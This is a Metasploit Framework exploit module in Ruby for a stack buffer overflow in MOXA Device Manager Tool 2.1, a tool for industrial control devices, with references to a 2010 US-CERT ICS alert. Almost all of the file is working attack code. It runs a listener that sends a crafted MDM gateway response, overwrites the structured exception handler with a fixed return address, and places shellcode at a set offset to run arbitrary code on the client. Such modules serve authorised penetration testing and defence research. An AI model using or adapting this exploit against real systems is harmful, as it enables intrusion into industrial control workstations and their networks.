## # $Id: moxa_mdmtool.rb 10940 2010-11-07 14:58:55Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in MOXA MDM Tool 2.1. When sending a specially crafted MDMGw (MDM2_Gateway) response, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Ruben Santamarta', 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10940 $', 'References' => [ [ 'OSVDB', '69027'], [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me... ], 'Privileged' => false, 'DisclosureDate' => 'Oct 20 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once sploit = rand_text_alpha_upper(18024) sploit[0, 4] = [0x29001028].pack('V') sploit[472, payload.encoded.length] = payload.encoded sploit[1072, 8] = generate_seh_record(target.ret) sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string client.put(sploit) handler(client) service.close_client(client) end end